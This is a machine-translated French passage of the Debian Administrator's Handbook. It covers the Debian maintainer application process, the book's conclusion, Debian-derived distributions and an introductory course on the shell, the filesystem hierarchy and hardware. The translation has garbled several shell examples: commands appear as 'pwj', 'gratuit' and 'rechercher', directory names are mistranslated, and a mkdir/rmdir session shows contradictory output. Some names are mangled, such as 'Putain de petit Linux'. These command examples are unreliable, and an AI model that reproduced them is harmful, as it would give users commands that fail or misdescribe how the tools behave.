[Link]

424 Le manuel de l'administrateur Debian

Machine Translated by Google

SUPPLÉMENTAIRE
Un statut de « responsable Debian » a récemment été introduit. Le processus associé
Processus léger pour est plus rapide, et les privilèges accordés par ce statut suffisent seulement à maintenir
« Mainteneurs Debian » ses propres packages. Un développeur Debian n'a besoin que d'effectuer une
vérification lors d'un téléchargement initial et d'émettre une déclaration indiquant qu'il
fait confiance au responsable potentiel pour la capacité de maintenir le paquet sur son site.
propre.

[Link]. Conditions préalables

Tous les candidats doivent avoir au moins une connaissance pratique de la langue anglaise. Ceci est requis à tous
les niveaux : pour les premières communications avec l'examinateur, bien sûr, mais aussi ultérieurement, puisque
l'anglais est la langue privilégiée pour la plupart de la documentation ; De plus, les utilisateurs du package
communiqueront en anglais lorsqu'ils signaleront des bogues et attendront des réponses en anglais.

L’autre prérequis concerne la motivation. Devenir développeur Debian est un processus qui n'a de sens que si le
candidat sait que son intérêt pour Debian durera plusieurs mois.
Le processus d'acceptation lui­même peut durer plusieurs mois, et Debian a besoin de développeurs sur le long
terme ; chaque package nécessite une maintenance permanente, et pas seulement un téléchargement initial.

[Link]. Inscription

La première (vraie) étape consiste à trouver un sponsor ou un défenseur ; cela signifie qu'un développeur officiel est
prêt à déclarer qu'il pense qu'accepter X serait une bonne chose pour Debian. Cela implique généralement que le
candidat a déjà été actif au sein de la communauté et que son travail a été apprécié. Si le candidat est timide et que
son travail n'est pas vanté publiquement, il peut essayer de convaincre un développeur Debian de le défendre en
montrant son travail de manière privée.

Parallèlement, le candidat doit générer une paire de clés RSA publique/privée avec GnuPG, qui doit être signée par
au moins un développeur Debian officiel. La signature authentifie le nom sur la clé. En effet, lors d'une soirée de
signature de clés, chaque participant doit présenter une carte d'identité accompagnée de ses identifiants clés. Cette
étape officialise le lien entre l’humain et les clés. Cette signature nécessite donc une rencontre dans la vraie vie. Si
vous n'avez pas encore rencontré de développeurs Debian lors d'une conférence publique sur le logiciel libre, vous
pouvez rechercher explicitement des développeurs vivant à proximité en utilisant la liste sur la page Web suivante
comme point de départ.

[Link]

Une fois l'inscription sur [Link] validée par l'avocat, un gestionnaire d'application est attribué au candidat.
Le responsable de l'application suivra ensuite les procédures et validera les différentes étapes que comprend le
processus.

La première vérification est un contrôle d'identité. Si vous disposez déjà d'une clé signée par deux développeurs
Debian, cette étape est simple ; sinon, le gestionnaire d'application tentera de vous guider dans votre recherche de
développeurs Debian à proximité pour organiser une rencontre et une signature de clé. Au tout début du processus,
alors que le nombre de développeurs était faible, il existait une exception à cette procédure qui permettait de
compléter cette étape par un scan numérique de l'identification officielle.

Chapitre 15 — Création d'un paquet Debian 425

Machine Translated by Google

documents; Ce n'est plus le cas.

[Link]. Accepter les principes

Ces formalités administratives sont suivies de considérations philosophiques. Le but est de s'assurer que le candidat
comprend et accepte le contrat social et les principes qui sous­tendent le logiciel libre. Rejoindre Debian n'est possible que
si l'on partage les valeurs qui unissent les développeurs actuels, telles qu'exprimées dans les textes fondateurs (et
résumées dans le chapitre 1, Le projet Debian (page 2)).

De plus, chaque candidat souhaitant rejoindre les rangs de Debian doit connaître le fonctionnement du projet et savoir
comment interagir de manière appropriée pour résoudre les problèmes qu'il rencontrera sans doute au fil du temps. Toutes
ces informations sont généralement documentées dans des manuels destinés aux nouveaux responsables, et dans la
référence du développeur Debian. Une lecture attentive de ce document devrait suffire à répondre aux questions de
l'examinateur. Si les réponses ne sont pas satisfaisantes, le candidat en sera informé. Il lui faudra alors (relire) la
documentation pertinente avant de réessayer. Dans les cas où la documentation existante ne contient pas la réponse
appropriée à la question, le candidat peut généralement trouver une réponse avec une certaine expérience pratique au
sein de Debian, ou éventuellement en discutant avec d'autres développeurs Debian. Ce mécanisme garantit que les
candidats s'impliquent quelque peu dans Debian avant d'en devenir une partie à part entière. Il s’agit d’une politique
délibérée par laquelle les candidats qui rejoignent finalement le projet sont intégrés comme une autre pièce d’un puzzle
infiniment extensible.

Cette étape est généralement connue sous le nom de Philosophie et procédures (P&P en abrégé) dans le jargon des
développeurs impliqués dans le processus du nouveau responsable.

[Link]. Vérification des compétences

Chaque candidature pour devenir développeur Debian officiel doit être justifiée. Devenir membre du projet nécessite de
montrer que ce statut est légitime et qu'il facilite le travail du candidat pour aider Debian. La justification la plus courante
est que l'obtention du statut de développeur Debian facilite la maintenance d'un paquet Debian, mais ce n'est pas la seule.
Certains développeurs rejoignent le projet pour contribuer au portage vers une architecture spécifique, d'autres souhaitent
améliorer la documentation, etc.

Cette étape représente l'opportunité pour le candidat d'exposer ce qu'il compte faire au sein du projet Debian et de montrer
ce qu'il a déjà fait dans ce sens. Debian est un projet pragmatique et il ne suffit pas de dire quelque chose si les actions ne
correspondent pas à ce qui est annoncé.
Généralement, lorsque le rôle prévu au sein du projet est lié à la maintenance du paquet, une première version du paquet
potentiel devra être validée techniquement et téléchargée sur les serveurs Debian par un sponsor parmi les développeurs
Debian existants.

COMMUNAUTÉ Les développeurs Debian peuvent « sponsoriser » des paquets préparés par quelqu'un d'autre,

Parrainage ce qui signifie qu'ils les publient dans les dépôts officiels Debian après avoir effectué une
révision minutieuse. Ce mécanisme permet à des personnes externes, qui

426 Le manuel de l'administrateur Debian

Machine Translated by Google

ne sont pas encore passés par le processus de nouveau mainteneur, pour contribuer
occasionnellement au projet. En même temps, cela garantit que tous les paquets
inclus dans Debian ont toujours été vérifiés par un membre officiel.

Enfin, l'examinateur vérifie les compétences techniques (packaging) du candidat à l'aide d'un questionnaire
détaillé. Les mauvaises réponses ne sont pas autorisées, mais le temps de réponse n'est pas limité. Toute la
documentation est disponible et plusieurs essais sont autorisés si les premières réponses ne sont pas
satisfaisantes. Cette étape ne vise pas à discriminer, mais à assurer au moins un minimum de connaissances
communes aux nouveaux contributeurs.

Cette étape est connue sous le nom d’ étape Tâches et compétences dans le jargon des examinateurs.

[Link]. Approbation finale

À la toute dernière étape, l'ensemble du processus est revu par un DAM (Debian Account Manager). Le DAM examinera
toutes les informations sur le candidat collectées par l'examinateur et prendra la décision de créer ou non un compte sur les
serveurs Debian. Dans les cas où des informations supplémentaires sont requises, la création du compte peut être retardée.

Les refus sont plutôt rares si l’examinateur suit bien le processus, mais ils surviennent parfois. Ils ne sont jamais permanents
et le candidat est libre de réessayer ultérieurement.

La décision du DAM fait autorité et (presque) sans appel, ce qui explique pourquoi les personnes occupant ce
siège (actuellement Jörg Jaspert, Christoph Berg et Enrico Zini) ont souvent été critiquées dans le passé.

Chapitre 15 — Création d'un paquet Debian 427

Machine Translated by Google

Mots clés
Avenir
Améliorations
Des avis
Machine Translated by Google

Chapitre

Conclusion : Debian16
Avenir
Contenu

Développements à venir 430 L'avenir de Debian 430 L'avenir de ce livre 431

L'histoire de Falcot Corp se termine avec ce dernier chapitre ; mais Debian perdure, et l'avenir

apportera certainement de nombreuses surprises intéressantes.

Machine Translated by Google

16.1. Développements à venir

Des semaines (ou des mois) avant la sortie d'une nouvelle version de Debian, le Release Manager sélectionne la
nom de code pour la prochaine version. Maintenant que la version 6.0 de Debian est sortie, les développeurs sont déjà
occupé à travailler sur la prochaine version, nom de code Wheezy…

Il n'existe pas de liste officielle des changements prévus et Debian ne fait jamais de promesses concernant les objectifs
techniques des versions à venir. Cependant, quelques tendances de développement peuvent déjà être notées,
et il y a de nombreuses raisons de croire qu’ils se traduiront par des résultats concrets dans la nouvelle version.

Le système de gestion de packages sera capable d'installer des packages pour plusieurs architectures différentes sur le même
système (c'est ce qu'on appelle le « support multi­arch »). Cela permettra d'installer
Applications 32 bits sur un système 64 bits, et vice­versa. Un autre projet qui mérite d'être mentionné est Con­stantly Usable
Testing, qui vise à qualifier Testing de distribution officiellement prise en charge qui
peut être recommandé au grand public. Le processus « init » par défaut (sysvinit) peut également être
remplacé par des systèmes plus modernes tels que upstart ou systemd.

Bien entendu, toutes les principales suites logicielles auront eu une version majeure. Par exemple, Wheezy inclura une version
3.x de GNOME, qui apporte un changement profond et prometteur par rapport aux fonctionnalités graphiques habituelles.
paradigme de bureau.

16.2. L'avenir de Debian

En plus de ces développements internes, on peut raisonnablement s'attendre à ce que de nouvelles distributions basées sur
Debian voient le jour, grâce à la popularité croissante de l'installateur Debian et à sa flexibilité.
De nouveaux sous­projets spécialisés seront également lancés, afin d'élargir la portée de Debian à de nouveaux horizons.
zones.

La communauté des utilisateurs Debian augmentera et de nouveaux contributeurs rejoindront le projet… notamment,
peut­être toi!

Le projet Debian est plus fort que jamais et en bonne voie vers son objectif d'une communauté universelle.
distribution; la plaisanterie intérieure au sein de la communauté Debian concerne la domination du monde.

Malgré son âge avancé et sa taille respectable, Debian continue de croître dans toutes sortes de domaines (parfois
inattendues). Les contributeurs regorgent d'idées et de discussions sur le développement
Les listes de diffusion, même lorsqu'elles ressemblent à des querelles, ne cessent de prendre de l'ampleur. Debian est
parfois comparé à un trou noir, d'une telle densité que tout nouveau projet de logiciel libre en est attiré.

Au­delà de l’apparente satisfaction de la plupart des utilisateurs de Debian, une tendance profonde se dessine de plus en plus :
incontestable : les gens se rendent de plus en plus compte que collaborer plutôt que faire des affaires
en solo, conduit à de meilleurs résultats pour tout le monde. Telle est la logique utilisée par la fusion des distributions
dans Debian via des sous­projets.

Le projet Debian n’est donc pas menacé d’extinction…

430 Le manuel de l'administrateur Debian

Machine Translated by Google

16.3. L'avenir de ce livre

Nous aimerions que ce livre évolue dans l'esprit du logiciel libre. Nous apprécions donc les contributions,
remarques, suggestions et critiques. Veuillez les diriger vers Raphaël (hertzog@[Link]) ou Roland
(lolando@[Link]). Le site Internet servira à rassembler toutes les informations pertinentes à son évolution.

[Link] Nous avons

essayé d'intégrer l'essentiel de ce que notre expérience chez Debian nous a appris, afin que chacun puisse
utiliser cette distribution et en tirer le meilleur parti le plus rapidement possible. Nous espérons que ce livre
contribuera à rendre Debian moins confuse et plus populaire, et nous apprécions toute publicité à ce sujet !

Nous aimerions conclure sur une note personnelle. L’écriture (et la traduction) de ce livre a pris un temps
considérable en dehors de notre activité professionnelle habituelle. Puisque nous sommes tous deux consultants
indépendants, toute nouvelle source de revenus nous donne la liberté de consacrer plus de temps à
l'amélioration de Debian ; nous espérons que ce livre connaîtra du succès et y contribuera. En attendant,
n'hésitez pas à retenir nos services !

[Link]

[Link]

À bientôt!

Conclusion : l'avenir de Debian 431

Machine Translated by Google
Machine Translated by Google

annexe

Dérivé UN
Distribution
Contenu

Recensement et coopération 433 Ubuntu 433 Knoppix 434 Linux Menthe 435

SimplementMEPIS 435 Aptosid (anciennement Sidux) 435 Putain de petit Linux 436 Et bien d'autres encore 436

A.1. Recensement et coopération

Le projet Debian reconnaît pleinement l'importance des distributions dérivées et activement

soutient la collaboration entre toutes les parties impliquées. Cela implique généralement de fusionner les
améliorations initialement développées par les distributions dérivées pour que chacun puisse en bénéficier et
les travaux de maintenance à long terme sont réduits.

Ceci explique pourquoi les distributions de produits dérivés sont invitées à s'impliquer dans les discussions sur le
liste de diffusion debian­derivatives@[Link] , et de participer au recensement des produits dérivés.
Ce recensement vise à collecter des informations sur le travail effectué dans un secteur dérivé afin que les autorités
Les responsables Debian peuvent mieux suivre l'état de leur paquet dans les variantes Debian.

[Link]
[Link]

Décrivons maintenant brièvement les distributions dérivées les plus intéressantes et les plus populaires.

A.2. Ubuntu

Ubuntu a fait sensation lors de son apparition sur la scène du logiciel libre, et pour cause :
Canonical Ltd., la société qui a créé cette distribution, a commencé par embaucher une trentaine de personnes Debian
développeurs et déclarant publiquement l'objectif ambitieux de fournir une distribution pour le
grand public avec une nouveauté deux fois par an. Ils se sont également engagés à maintenir chaque version
pendant un an et demi pour les composants de base et liés à la sécurité.
Machine Translated by Google

Ces objectifs impliquent nécessairement une réduction de portée ; Ubuntu se concentre sur un plus petit
nombre de paquets que Debian et s'appuie principalement sur le bureau GNOME (bien qu'un dérivé officiel
d'Ubuntu, appelé « Kubuntu », repose sur KDE). Tout est internationalisé et disponible dans de nombreuses
langues.

Jusqu'à présent, Ubuntu a réussi à maintenir ce rythme de sortie. Ils publient également des versions Long
Term Support (LTS), avec une promesse de maintenance de 5 ans. Depuis avril 2012, la version LTS
actuelle est la version 12.04, surnommée Precise Pangolin. La dernière version non­LTS est la 11.10,
surnommée Oneiric Ocelot. Les numéros de version décrivent la date de sortie : la 11.10, par exemple, a
été publiée en octobre 2011.

Ubuntu a touché un large public auprès du grand public. Des millions d'utilisateurs ont été impressionnés
par sa facilité d'installation et par le travail effectué pour rendre le bureau plus simple à utiliser.

Cependant, tout ne va pas pour le mieux, en particulier pour les développeurs Debian qui placent de grands
espoirs dans Ubuntu en contribuant directement à Debian. Même si cette situation s'est améliorée au fil des
années, beaucoup ont été contrariés par le marketing canonique, qui impliquait qu'Ubuntu était de bons
citoyens dans le monde du logiciel libre simplement parce qu'il rendait publiques les modifications qu'il
appliquait aux paquets Debian. Les partisans du Logiciel Libre comprennent qu'un correctif généré
automatiquement est de peu d'utilité pour le processus de contribution en amont. Intégrer son travail
nécessite une interaction directe avec l’autre partie.

Cette interaction devient de plus en plus courante au fil du temps, en partie grâce à la communauté Ubuntu
et aux efforts qu'elle déploie pour éduquer ses nouveaux contributeurs. Mais cette politique n'est toujours
pas appliquée par Canonical à ses employés. Certains sont restés fidèles à leurs racines et font les efforts
nécessaires (Colin Watson, Martin Pitt et Matthias Klose sont remarquables à cet égard), mais d'autres,
souvent surmenés, n'y parviennent plus.
[Link]

A.3. Knoppix

La distribution Knoppix a à peine besoin d'une introduction. C'était la première distribution populaire à
proposer un LiveCD ; en d'autres termes, un CD­ROM amorçable qui exécute un système Linux clé en main
sans nécessiter de disque dur — tout système déjà installé sur la machine ne sera pas modifié. La
détection automatique des appareils disponibles permet à cette distribution de fonctionner dans la plupart
des configurations matérielles. Le CD­ROM comprend près de 2 Go de logiciels (compressés).

Associer ce CD­ROM et une clé USB permet d'emporter vos fichiers avec vous, et de travailler sur n'importe
quel ordinateur sans laisser de trace — rappelez­vous que la distribution n'utilise pas du tout le disque dur.
Knoppix est principalement basé sur LXDE (un bureau graphique léger), mais de nombreuses autres
distributions proposent d'autres combinaisons de bureaux et de logiciels. Ceci est, en partie, rendu possible
grâce au package Debian live­build qui rend relativement facile la création d'un LiveCD.
[Link]

Notez que Knoppix fournit également un installateur : vous pouvez d'abord essayer la distribution sous forme de LiveCD, puis
l'installer sur un disque dur pour obtenir de meilleures performances.

434 Le manuel de l'administrateur Debian

Machine Translated by Google

[Link]

A.4. Linux Menthe

Linux Mint est une distribution (en partie) maintenue par la communauté, soutenue par des dons et des
publicités. Leur produit phare est basé sur Ubuntu, mais ils proposent également une variante « Linux Mint
Debian Edition » qui évolue continuellement (car basée sur Debian Testing). Dans les deux cas, l'installation
initiale implique le démarrage d'un LiveDVD.

La distribution vise à simplifier l'accès aux technologies avancées et fournit des interfaces utilisateur
graphiques spécifiques en plus des logiciels habituels. Par exemple, même si Linux Mint s'appuie sur
GNOME, il propose un système de menus différent ; de même, l'interface de gestion des packages, bien
que basée sur APT, fournit une interface spécifique avec une évaluation du risque lié à chaque mise à jour
de package.

Linux Mint inclut une grande quantité de logiciels propriétaires afin de garantir la meilleure expérience
utilisateur possible. Par exemple : Adobe Flash et les codecs multimédia.
[Link]

A.5. SimplementMEPIS

SimplyMEPIS est une distribution commerciale très similaire à Knoppix. Il fournit un système Linux clé en
main à partir d'un LiveCD et comprend un certain nombre de logiciels non libres : pilotes de périphériques
pour les cartes vidéo nVidia, Flash pour les animations intégrées dans de nombreux sites Web, RealPlayer,
Java de Sun, etc. L’objectif est de fournir un système fonctionnel à 100 % prêt à l’emploi. Mepis est
internationalisé et gère de nombreuses langues.
[Link] Cette

distribution était à l'origine basée sur Debian ; il est passé un moment sur Ubuntu, puis est revenu sur
Debian, ce qui permet à ses développeurs de se concentrer sur l'ajout de fonctionnalités sans avoir à
stabiliser les paquets provenant de la distribution Unstable de Debian .

A.6. Aptosid (anciennement Sidux)

Cette distribution communautaire suit les modifications apportées à Debian Sid (Unstable) — d'où son nom
— et essaie de publier 4 nouvelles versions chaque année. Les modifications sont de portée limitée :
l'objectif est de fournir les logiciels les plus récents et de mettre à jour les pilotes pour le matériel le plus
récent, tout en permettant aux utilisateurs de revenir à tout moment à la distribution officielle Debian.
[Link]

Distributions dérivées 435

Machine Translated by Google

A.7. Putain de petit Linux

Cette distribution fournit un minuscule LiveCD, pesant seulement 50 Mo, afin qu'il puisse tenir sur un CD­
ROM ayant la forme et la taille d'une carte de visite. Cela peut être utile pour utiliser Debian sur un
ordinateur vieillissant.
[Link]

A.8. Et beaucoup plus

Le site Distrowatch référence un grand nombre de distributions Linux, dont beaucoup sont basées sur
Debian. La navigation sur ce site est un excellent moyen de se faire une idée de la diversité du monde du
logiciel libre.

[Link] Le

formulaire de recherche peut aider à retrouver une distribution en fonction de son ascendance. En janvier 2012,
la sélection de Debian a conduit à 141 distributions actives !

[Link]

436 Le manuel de l'administrateur Debian

Machine Translated by Google

annexe

Courte correction B
Cours
Contenu

Shell et commandes de base 437 Organisation de la hiérarchie du système de fichiers 440

Fonctionnement interne d'un ordinateur : les différentes couches impliquées 441 Quelques tâches gérées par le noyau 444

L'Espace Utilisateur 447

B.1. Shell et commandes de base

Dans le monde Unix, chaque administrateur doit tôt ou tard utiliser la ligne de commande ; par exemple, lorsque le
système ne démarre pas correctement et ne propose qu'un mode de secours en ligne de commande. Être capable de
gérer une telle interface constitue donc une compétence de survie de base dans ces circonstances.

COUP D'OEIL Un environnement de ligne de commande peut être exécuté à partir du bureau graphique, par une

Démarrage de l'interpréteur application appelée « terminal », comme celles trouvées dans le menu Applications → Accessoires

de commandes pour GNOME, et dans K → Applications → Système pour KDE.

Cette section donne uniquement un aperçu rapide des commandes. Ils ont tous de nombreuses options non décrites
ici ; par conséquent, ils disposent également d’une documentation abondante dans leurs pages de manuel respectives.

B.1.1. Parcourir l'arborescence des répertoires et gérer les fichiers

Une fois la session ouverte, la commande pwd (imprimer le répertoire de travail) affiche l'emplacement actuel dans le
système de fichiers. Le répertoire courant est modifié avec la commande cd directory (cd est pour changer de
répertoire). Le répertoire parent est toujours appelé .. (deux points), alors que le répertoire courant est également
appelé. (un point). La commande ls permet de lister le contenu d'un répertoire.
Si aucun paramètre n'est donné, il opère sur le répertoire courant.
Machine Translated by Google

$ pwj
/home/rhertzog
$ cd Ordinateur de bureau

$ pwd
/home/rhertzog/Bureau
$ cd .
$ pwj
/home/rhertzog/Bureau
$ cd ..
$ pwj
/home/rhertzog
$ ls
Documents Téléchargements Modèles d'images
de bureau Musique Publique Vidéos

Un nouveau répertoire peut être créé avec le répertoire mkdir, et un répertoire existant (vide) peut
être supprimé avec le répertoire rmdir. La commande mv permet de déplacer et/ou de renommer des fichiers et
répertoires; la suppression d'un fichier implique le fichier rm.

$ mkdir tester
$ ls
Bureau Téléchargements Images Modèles Vidéos
Documents Musique Publique test
$ mv test nouveau
$ ls
Bureau Téléchargements nouveau Publique Vidéos
Documents Musique Modèles d'images
$ rmdir nouveau
$ ls
Bureau Téléchargements Images Modèles Vidéos
Documents Musique Publique test

B.1.2. Affichage et modification de fichiers texte

La commande cat file (destinée à concaténer des fichiers sur sa sortie standard) lit un fichier et
affiche son contenu dans le terminal. Si le fichier est trop volumineux pour tenir sur un écran, utilisez un téléavertisseur tel que

less (ou plus) pour l’afficher page par page.

La commande editor pointe toujours vers un éditeur de texte (comme vi ou nano) et permet de créer,
modifier et lire des fichiers texte. Les fichiers les plus simples peuvent parfois être créés directement à partir du
interpréteur de commandes grâce à la redirection : echo "text" >file crée un fichier nommé file avec
« texte » comme son contenu. Ajouter une ligne à la fin de ce fichier est également possible, avec une commande telle
comme echo "line" >>fichier.

438 Le manuel de l'administrateur Debian

Machine Translated by Google

B.1.3. Recherche de fichiers et dans les fichiers

La commande rechercher des critères de répertoire recherche les fichiers dans la hiérarchie sous répertoire selon plusieurs
critères. Le critère le plus couramment utilisé est­name name : il permet de rechercher
pour un fichier par son nom.

La commande grep expression files recherche le contenu des fichiers et extrait les lignes
correspondant à l'expression régulière (voir l'encadré « Expression régulière » (page 262)). Ajout du ­r
L'option permet une recherche récursive sur tous les fichiers contenus dans le répertoire passé en paramètre.
Cela permet de rechercher un fichier dont seule une partie du contenu est connue.

B.1.4. Gestion des processus

La commande ps aux liste les processus en cours d'exécution et permet de les identifier par
leur pid (identifiant du processus). Une fois le pid d'un processus connu, la commande kill ­signal pid
permet de lui envoyer un signal (si le processus appartient à l'utilisateur actuel). Plusieurs signaux existent ; la plupart
les plus couramment utilisés sont TERM (une demande de terminaison) et KILL (une mise à mort brutale).

L'interpréteur de commandes peut également exécuter des programmes en arrière­plan si la commande se termine par
"&". En utilisant l'esperluette, l'utilisateur reprend immédiatement le contrôle du shell même si
la commande est toujours en cours d'exécution (cachée à l'utilisateur ; en tant que processus en arrière­plan). La commande
jobs répertorie les processus exécutés en arrière­plan ; exécution de fg %job­number (pour le premier plan)
remet une tâche au premier plan. Lorsqu'une commande s'exécute au premier plan (soit parce qu'elle a été lancée
normalement, soit ramenée au premier plan avec fg), la touche Ctrl+Z
pair met le processus en pause et reprend le contrôle de la ligne de commande. Le processus peut alors être
redémarré en arrière­plan avec bg %job­number (pour l'arrière­plan).

B.1.5. Informations système : mémoire, espace disque, identité

La commande libre affiche des informations sur la mémoire ; df (disque libre) rapporte sur le disque disponible
espace sur chacun des disques montés dans le système de fichiers. Son option­h (pour une lecture humaine) convertit
les tailles dans une unité plus lisible (généralement des mégaoctets ou des gigaoctets). De la même manière, le libre
La commande comprend les options ­m et ­g et affiche ses données soit en mégaoctets, soit en
gigaoctets, respectivement.

$ gratuit
total utilisé gratuit partagé tampons mis en cache

Mémoire : 1028420 1009624 18796 0 47404 391804

­/+ tampons/cache : 570416 458004
2771172 404588 2366584
Échange : $ df

Système de 1K blocs Utilisé Disponible Utilisation% Monté sur

fichiers /dev/sda2 9614084 4737916 4387796 52% /
tmpfs 514208 0 514208 0% /lib/init/rw
udev 10240 100 10140 1% /dév.

Cours de rattrapage court 439

Machine Translated by Google

tmpfs / 514208 269136 245072 53% /dev/shm

dev/sda5 44552904 36315896 7784380 83% /maison

La commande id affiche l'identité de l'utilisateur exécutant la session, ainsi que la liste des groupes auxquels il appartient. Étant donné
que l'accès à certains fichiers ou appareils peut être limité aux membres du groupe, il peut être utile de vérifier l'appartenance au groupe
disponible.

$ id
uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(
disquette),27(sudo),29(audio),30(dip),44(vidéo),46(plugdev),108(netdev) ,109(bluetooth),115(scanner)

B.2. Organisation de la hiérarchie du système de fichiers

B.2.1. Le répertoire racine

Un système Debian est organisé selon le standard de hiérarchie de fichiers (FHS). Cette norme définit le but de chaque répertoire. Par
exemple, les répertoires de niveau supérieur sont décrits comme suit :

• /bin/ : programmes de base ;

• /boot/ : noyau Linux et autres fichiers requis pour son processus de démarrage précoce ;

• /dev/ : fichiers du périphérique ;

• /etc/ : fichiers de configuration ;

• /home/ : fichiers personnels de l'utilisateur ;

• /lib/ : bibliothèques de base ;

• /media/* : points de montage des périphériques amovibles (CD­ROM, clés USB, etc.) ;

• /mnt/ : point de montage temporaire ;

• /opt/ : applications supplémentaires fournies par des tiers ;

• /root/ : fichiers personnels de l'administrateur (root) ;

• /sbin/ : programmes système ;

• /srv/ : données utilisées par les serveurs hébergés sur ce système ;

• /tmp/ : fichiers temporaires ; ce répertoire est souvent vidé au démarrage ;

440 Le manuel de l'administrateur Debian

Machine Translated by Google

• /usr/ : applications ; ce répertoire est ensuite subdivisé en bin, sbin, lib (selon la même
logique que dans le répertoire racine). De plus, /usr/share/ contient des données
indépendantes de l'architecture. /usr/local/ est destiné à être utilisé par l'administrateur
pour installer manuellement des applications sans écraser les fichiers gérés par le
système de packaging (dpkg).

• /var/ : données variables gérées par les démons. Cela inclut les fichiers journaux, les files d'attente, les spools et les caches.
et ainsi de suite.

• /proc/ et /sys/ sont spécifiques au noyau Linux (et ne font pas partie du FHS). Ils sont utilisés
par le noyau pour exporter les données vers l'espace utilisateur.

B.2.2. Le répertoire personnel de l'utilisateur

Le contenu du répertoire personnel d'un utilisateur n'est pas standardisé, mais il existe tout de même quelques conventions
remarquables. La première est que le répertoire personnel d'un utilisateur est souvent désigné par un tilde (« ~ »). C'est utile à
savoir car les interpréteurs de commandes remplacent automatiquement un tilde par le répertoire correct (généralement /home/
user/).

Les fichiers de configuration des applications sont souvent stockés directement dans le répertoire personnel de l'utilisateur, mais
leurs noms commencent généralement par un point (par exemple, le client de messagerie mutt stocke sa configuration dans
~/.muttrc). Les noms de fichiers commençant par un point sont masqués par défaut et ls ne les répertorie que lorsque l' option ­a
est utilisée.

Certains programmes utilisent plusieurs fichiers de configuration organisés dans un seul répertoire (par exemple, ~/ .evolution/).
Certaines applications (comme le navigateur web Iceweasel) utilisent également leur répertoire pour stocker un cache des données
téléchargées. Cela signifie que ces répertoires peuvent finir par utiliser beaucoup d'espace disque.

Les bureaux graphiques affichent généralement le contenu du répertoire ~/Desktop/ (ou ~/Bureau/ ou quelle que soit la traduction
appropriée pour les systèmes non configurés en anglais) sur le bureau (c'est­à­dire ce qui est visible à l'écran une fois que toutes
les applications sont fermées ou iconisées) .

Enfin, le système de messagerie stocke parfois les e­mails entrants dans un répertoire ~/Mail/ .

B.3. Fonctionnement interne d'un ordinateur : les différentes couches impliquées

Un ordinateur est souvent considéré comme quelque chose de plutôt abstrait, et l’interface visible de l’extérieur est beaucoup plus
simple que sa complexité interne. Cette complexité vient en partie du nombre de pièces impliquées. Cependant, ces pièces peuvent
être visualisées sous forme de calques, où un calque n'interagit qu'avec ceux immédiatement au­dessus ou en dessous.

Un utilisateur final peut se débrouiller sans connaître ces détails… tant que tout fonctionne. Face à un problème tel que « Internet
ne fonctionne pas ! », la première chose à faire est d'identifier de quelle couche provient le problème. La carte réseau (matériel)
fonctionne­t­elle ? Est­il reconnu par l'ordinateur ? Le noyau Linux le voit­il ? Les paramètres réseau sont­ils correctement configurés ?

Toutes ces questions isolent une couche appropriée et se concentrent sur une source potentielle du problème.

Cours de rattrapage court 441

Machine Translated by Google

B.3.1. La couche la plus profonde : le matériel

Commençons par un simple rappel : un ordinateur est avant tout un ensemble d'éléments matériels. Il y a
généralement une carte principale, avec un (ou plusieurs) processeur(s), de la RAM, des contrôleurs de
périphériques et des emplacements d'extension pour les cartes optionnelles (pour d'autres contrôleurs de
périphériques). Les plus remarquables parmi ces contrôleurs sont IDE (Parallel ATA), SCSI et Serial ATA, pour la
connexion à des périphériques de stockage tels que des disques durs. Les autres contrôleurs incluent l'USB,
capable d'héberger une grande variété d'appareils (allant des webcams aux thermomètres, des claviers aux systèmes
domotiques) et IEEE_1394 (Firewire). Ces contrôleurs permettent souvent de connecter plusieurs appareils, de sorte
que le sous­système complet géré par un contrôleur est donc généralement appelé « bus ». Les cartes optionnelles
incluent des cartes graphiques (sur lesquelles les écrans du moniteur seront branchés), des cartes son, des cartes
d'interface réseau, etc. Certaines cartes principales sont pré­construites avec ces fonctionnalités et n'ont pas besoin
de cartes en option.

EN PRATIQUE Vérifier qu’un élément matériel fonctionne peut être délicat. En revanche, prouver que cela ne

Vérifier que le matériel fonctionne fonctionne pas est parfois assez simple.

Un disque dur est constitué de plaques tournantes et de têtes magnétiques mobiles.

Lorsqu'un disque dur est mis sous tension, le moteur de la plaque émet un vrombissement
caractéristique. Il dissipe également de l’énergie sous forme de chaleur. Par conséquent, un disque
dur qui reste froid et silencieux lorsqu’il est sous tension est cassé.

Les cartes réseau incluent souvent des LED affichant l'état de la liaison. Si un câble est branché et
mène à un hub ou un commutateur réseau fonctionnel, au moins une LED sera allumée. Si aucune
LED ne s'allume, la carte elle­même, le périphérique réseau ou le câble qui les relie sont défectueux.
La prochaine étape consiste donc à tester chaque composant individuellement.

Certaines cartes optionnelles, notamment les cartes vidéo 3D, incluent des dispositifs de refroidissement,
tels que des dissipateurs thermiques et/ou des ventilateurs. Si le ventilateur ne tourne pas même si la
carte est sous tension, une explication plausible est que la carte a surchauffé. Ceci s'applique
également au(x) processeur(s) principal(aux) situé(s) sur la carte principale.

B.3.2. Le starter : le BIOS

Le matériel, à lui seul, est incapable d’effectuer des tâches utiles sans un logiciel correspondant qui le pilote.
Contrôler et interagir avec le matériel est l'objectif du système d'exploitation et des applications. Ceux­ci, à leur tour,
nécessitent un matériel fonctionnel pour fonctionner.

Cette symbiose entre matériel et logiciel ne se fait pas d’elle­même. Lorsque l'ordinateur est mis sous tension pour
la première fois, une configuration initiale est requise. Ce rôle est assumé par le BIOS, un petit logiciel intégré à la
carte principale qui s'exécute automatiquement à la mise sous tension. Sa tâche principale est de rechercher des
logiciels auxquels il peut céder le contrôle. Habituellement, cela implique de rechercher le premier disque dur doté
d'un secteur de démarrage (également appelé enregistrement de démarrage principal ou MBR), de charger ce
secteur de démarrage et de l'exécuter. A partir de là, le BIOS n'est généralement plus impliqué (jusqu'au prochain démarrage).

442 Le manuel de l'administrateur Debian

Machine Translated by Google

OUTIL Le BIOS contient également un logiciel appelé Setup, conçu pour permettre de configurer
Setup, l'outil de certains aspects de l'ordinateur. En particulier, il permet de choisir quel périphérique de
configuration du BIOS démarrage est préféré (par exemple, le lecteur de disquette ou de CD­ROM), de régler
l'horloge système, etc. Le démarrage de l'installation implique généralement d'appuyer sur
une touche très peu de temps après la mise sous tension de l'ordinateur. Cette touche est
souvent Del ou Esc, parfois F2 ou F10. La plupart du temps, le choix est affiché à l'écran
lors du démarrage.

Le secteur de démarrage, quant à lui, contient un autre petit logiciel, appelé chargeur de démarrage, dont le but est de
rechercher et d'exécuter un système d'exploitation. Puisque ce chargeur de démarrage n'est pas intégré à la carte
